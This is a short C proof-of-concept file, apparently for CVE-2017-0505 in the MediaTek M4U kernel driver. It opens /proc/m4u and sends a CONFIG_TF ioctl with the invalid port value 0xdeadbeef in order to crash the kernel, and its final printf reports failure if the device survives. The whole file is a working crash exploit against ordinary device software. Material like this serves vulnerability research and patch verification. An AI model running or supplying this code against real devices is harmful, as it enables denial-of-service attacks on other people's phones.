cve-2017-0505.c

#include <fcntl.h>
#include <stdio.h>
#include <stdbool.h>

#include <sys/ioctl.h>

#define M4U_DEVICE "/proc/m4u"

#define MTK_M4U_MAGICNO 'g'
#define MTK_M4U_T_CONFIG_TF _IOW(MTK_M4U_MAGICNO, 28, int)

typedef int M4U_PORT_ID;

typedef struct _M4U_TF {
    M4U_PORT_ID port;
    bool fgEnable;
} M4U_TF_STRUCT;

int main()
{
    int m4u_fd = open(M4U_DEVICE, O_RDWR);
    if (m4u_fd < 0)
        return -1;

    M4U_TF_STRUCT payload;
    payload.port = 0xdeadbeef;
    payload.fgEnable = true;

    if (ioctl(m4u_fd, MTK_M4U_T_CONFIG_TF, &payload) < 0)
        return -1;

    printf("Something went wrong, we shouldn't be here\n");
    return -1;
}